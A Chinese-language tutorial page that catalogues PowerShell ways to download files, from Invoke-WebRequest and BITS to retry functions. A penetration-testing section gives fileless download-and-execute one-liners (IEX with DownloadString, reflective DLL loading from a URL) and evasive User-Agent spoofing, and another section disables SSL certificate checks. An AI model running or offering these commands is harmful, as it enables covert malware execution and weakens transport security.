PowerShell遠(yuǎn)程下載文件的多種方法和命令大全
更新時間:2025年10月31日 08:38:19 作者:Bruce_xiaowei
作為一名程序員做實(shí)驗(yàn)的時候會經(jīng)常需要在內(nèi)網(wǎng)中傳輸文件,用U盤等移動存儲介質(zhì)會非常不方便,如果是Windows系統(tǒng)用PowerShell很方便,以下是Windows?PowerShell中用于遠(yuǎn)程下載文件的多種方法和命令,需要的朋友可以參考下
1. 基礎(chǔ)下載命令
Invoke-WebRequest (推薦)
# 基礎(chǔ)下載 Invoke-WebRequest -Uri "http://example.com/file.zip" -OutFile "C:\temp\file.zip" # 使用別名 iwr "http://example.com/file.zip" -OutFile "C:\temp\file.zip" # 下載到當(dāng)前目錄 Invoke-WebRequest "http://example.com/file.exe" -OutFile "file.exe"
System.Net.WebClient
# 方法1 - 直接下載
(New-Object System.Net.WebClient).DownloadFile("http://example.com/file.exe", "C:\temp\file.exe")
# 方法2 - 分步操作
$webClient = New-Object System.Net.WebClient
$webClient.DownloadFile("http://example.com/file.exe", "C:\temp\file.exe")
$webClient.Dispose()
2. 高級下載選項(xiàng)
帶進(jìn)度顯示的下載
# 使用 Invoke-WebRequest 顯示進(jìn)度
Invoke-WebRequest -Uri "http://example.com/largefile.iso" -OutFile "C:\temp\largefile.iso" -Verbose
# 使用 WebClient 帶進(jìn)度事件
$url = "http://example.com/file.zip"
$output = "C:\temp\file.zip"
$webClient = New-Object System.Net.WebClient
$webClient.DownloadProgressChanged = {
Write-Progress -Activity "下載中" -Status "已完成 $($_.ProgressPercentage)%" -PercentComplete $_.ProgressPercentage
}
$webClient.DownloadFileAsync((New-Object Uri($url)), $output)
下載字符串內(nèi)容
# 下載文本內(nèi)容
$content = Invoke-WebRequest -Uri "http://example.com/data.txt" | Select-Object -ExpandProperty Content
# 直接獲取內(nèi)容
$text = (New-Object System.Net.WebClient).DownloadString("http://example.com/data.txt")
3. 認(rèn)證和頭部設(shè)置
基本認(rèn)證
# 帶用戶名密碼的下載
$credential = Get-Credential
Invoke-WebRequest -Uri "http://example.com/secure/file.zip" -Credential $credential -OutFile "file.zip"
# 直接指定憑據(jù)
Invoke-WebRequest -Uri "http://example.com/file" -Headers @{Authorization = "Basic " + [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes("username:password"))}
自定義請求頭
# 設(shè)置User-Agent和其他頭部
$headers = @{
'User-Agent' = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
'Accept' = 'application/octet-stream'
}
Invoke-WebRequest -Uri "http://example.com/file" -Headers $headers -OutFile "download.file"
4. BITS傳輸服務(wù)(后臺下載)
# 使用BITS后臺下載 Start-BitsTransfer -Source "http://example.com/largefile.iso" -Destination "C:\temp\largefile.iso" # 顯示下載進(jìn)度 Start-BitsTransfer -Source "http://example.com/file" -Destination "C:\temp\" -DisplayName "我的下載" # 異步下載 $transfer = Start-BitsTransfer -Source "http://example.com/file" -Destination "C:\temp\" -Asynchronous # 檢查狀態(tài) $transfer | Get-BitsTransfer
5. 處理HTTPS和證書
忽略SSL證書錯誤
# 方法1:添加證書驗(yàn)證回調(diào)
add-type @"
using System.Net;
using System.Security.Cryptography.X509Certificates;
public class TrustAllCertsPolicy : ICertificatePolicy {
public bool CheckValidationResult(
ServicePoint srvPoint, X509Certificate certificate,
WebRequest request, int certificateProblem) {
return true;
}
}
"@
[System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy
# 然后正常下載
Invoke-WebRequest -Uri "https://example.com/file" -OutFile "file.zip"
PowerShell Core (7+) 的SSL忽略
# PowerShell 7+ 使用 -SkipCertificateCheck Invoke-WebRequest -Uri "https://example.com/file" -OutFile "file.zip" -SkipCertificateCheck
6. 實(shí)用下載函數(shù)
創(chuàng)建可重用的下載函數(shù)
function Download-File {
param(
[string]$Url,
[string]$OutputPath,
[switch]$ShowProgress
)
if ($ShowProgress) {
Write-Host "下載: $Url" -ForegroundColor Yellow
Write-Host "保存到: $OutputPath" -ForegroundColor Yellow
}
try {
Invoke-WebRequest -Uri $Url -OutFile $OutputPath -ErrorAction Stop
if ($ShowProgress) {
Write-Host "下載完成!" -ForegroundColor Green
}
return $true
}
catch {
Write-Error "下載失敗: $($_.Exception.Message)"
return $false
}
}
# 使用函數(shù)
Download-File -Url "http://example.com/tools.zip" -OutputPath "C:\tools\tools.zip" -ShowProgress
批量下載函數(shù)
function Download-MultipleFiles {
param(
[hashtable]$Files, # @{Url1 = "Path1"; Url2 = "Path2"}
[switch]$Parallel
)
if ($Parallel) {
$jobs = @()
foreach ($item in $Files.GetEnumerator()) {
$scriptBlock = {
param($url, $path)
Invoke-WebRequest -Uri $url -OutFile $path
}
$jobs += Start-Job -ScriptBlock $scriptBlock -ArgumentList $item.Key, $item.Value
}
$jobs | Wait-Job | Receive-Job
}
else {
foreach ($item in $Files.GetEnumerator()) {
Download-File -Url $item.Key -OutputPath $item.Value -ShowProgress
}
}
}
# 使用示例
$downloadList = @{
"http://example.com/file1.zip" = "C:\temp\file1.zip"
"http://example.com/file2.exe" = "C:\temp\file2.exe"
}
Download-MultipleFiles -Files $downloadList
7. 滲透測試專用命令
內(nèi)存中執(zhí)行(不落盤)
# 下載并在內(nèi)存中執(zhí)行
IEX (New-Object Net.WebClient).DownloadString('http://example.com/script.ps1')
# 下載DLL到內(nèi)存
[Reflection.Assembly]::Load((New-Object Net.WebClient).DownloadData('http://example.com/tool.dll'))
隱蔽下載
# 使用不同的User-Agent
$client = New-Object System.Net.WebClient
$client.Headers.Add('User-Agent', 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)')
$client.DownloadFile('http://example.com/file', 'C:\temp\file')
# 使用SSL和代理
$proxy = New-Object System.Net.WebProxy("http://proxy:8080", $true)
$webClient = New-Object System.Net.WebClient
$webClient.Proxy = $proxy
$webClient.DownloadFile('https://example.com/file', 'output.file')
8. 錯誤處理和重試
帶重試機(jī)制的下載
function Download-FileWithRetry {
param(
[string]$Url,
[string]$OutputPath,
[int]$MaxRetries = 3
)
for ($i = 1; $i -le $MaxRetries; $i++) {
try {
Write-Host "嘗試下載 (第 $i 次)..." -ForegroundColor Yellow
Invoke-WebRequest -Uri $Url -OutFile $OutputPath -ErrorAction Stop
Write-Host "下載成功!" -ForegroundColor Green
return $true
}
catch {
Write-Warning "第 $i 次下載失敗: $($_.Exception.Message)"
if ($i -eq $MaxRetries) {
Write-Error "所有重試均失敗"
return $false
}
Start-Sleep -Seconds 5
}
}
}
使用建議
- 日常使用:推薦
Invoke-WebRequest或iwr - 大文件下載:使用
Start-BitsTransfer支持?jǐn)帱c(diǎn)續(xù)傳 - 腳本兼容性:
System.Net.WebClient兼容性最好 - 安全環(huán)境:注意SSL證書驗(yàn)證問題
- 滲透測試:根據(jù)目標(biāo)環(huán)境選擇合適的隱蔽方法
選擇適合你場景的命令,確保在合法授權(quán)的環(huán)境下使用這些技術(shù)。
以上就是PowerShell遠(yuǎn)程下載文件的多種方法和命令大全的詳細(xì)內(nèi)容,更多關(guān)于PowerShell遠(yuǎn)程下載文件的資料請關(guān)注腳本之家其它相關(guān)文章!
相關(guān)文章
powershell網(wǎng)絡(luò)蜘蛛解決亂碼問題
這篇文章主要介紹了powershell網(wǎng)絡(luò)蜘蛛解決亂碼問題,需要的朋友可以參考下2017-10-10
PowerShell小技巧實(shí)現(xiàn)IE Web自動化
使用IE的COM對象來完成簡單的Web自動化測試,是最小巧和廉價的Web自動化測試了,因?yàn)樗挥靡氲谌讲寮蛘吖ぞ摺?/div> 2014-09-09
Powershell中調(diào)用郵件客戶端發(fā)送郵件的例子
這篇文章主要介紹了Powershell中調(diào)用郵件客戶端發(fā)送郵件的例子,需要的朋友可以參考下2014-05-05
PowerShell函數(shù)中使用必選參數(shù)實(shí)例
這篇文章主要介紹了PowerShell函數(shù)中使用必選參數(shù)實(shí)例,即把一個參數(shù)設(shè)置為必選參數(shù)的方法,需要的朋友可以參考下2014-07-07
PowerShell函數(shù)使用正則表達(dá)式驗(yàn)證輸入?yún)?shù)實(shí)例
這篇文章主要介紹了PowerShell函數(shù)使用正則表達(dá)式驗(yàn)證輸入?yún)?shù)實(shí)例,即檢驗(yàn)輸入?yún)?shù)是否符合正則規(guī)則,需要的朋友可以參考下2014-07-07最新評論

